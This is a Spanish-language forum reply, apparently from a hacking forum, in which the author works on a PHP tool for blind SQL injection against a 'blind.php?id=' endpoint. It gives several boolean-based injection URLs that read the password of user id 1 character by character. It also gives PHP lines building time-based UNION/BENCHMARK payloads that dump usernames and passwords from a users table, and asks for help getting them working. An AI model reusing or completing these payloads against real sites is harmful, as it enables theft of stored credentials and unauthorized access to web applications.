Me gusta tu code PHP te ha quedado muy wuapo, sin embargo estoy trasteando cada vez mas en PHP, ahora el string a testear es el siguiente (manualmente) :
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=95
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=96
http://x.x.x.x/blind.php?id=1+AND+ascii(substring((SELECT+password+FROM+users+where+id=1),7,1))=97
Para solo cuestiones de prueba y ver su funcionamiento en PHP a traves de tu code he intentado algunas cosas, vaya que lo tengo hecho en PERL y me funciona correctamente, pero me estoy enamorando de PHP por su facilidad de programar XD
Segun yo, y solo para pruebas podria ser:
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null)+from+users+limit+0,1/*");
o Tambien
$source = GET("http://x.x.x.x/blind.php?id=1+UNION+SELECT+IF+(SUBSTRING(group_concat(user,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))))+from+users+limit+0,1/*");
Mmm algo anda mal, probare mas tarde, ideas
OzX? Ejempo TABLA +++++++++++++++++++++++++++++++++++++++++
| users |
+++++++++++++++++++++++++++++++++++++++++
| id | name | password |
+++++++++++++++++++++++++++++++++++++++++
| 1 | administrator | 1234%&_ |
| 2 | | |
| 3 | | |
+++++++++++++++++++++++++++++++++++++++++
Aunque podria agregar la funcion
ASCII(SUBSTRING etc etc)+from+users, pero no tendria caso los arrays que declaro OzX.
-berz3k.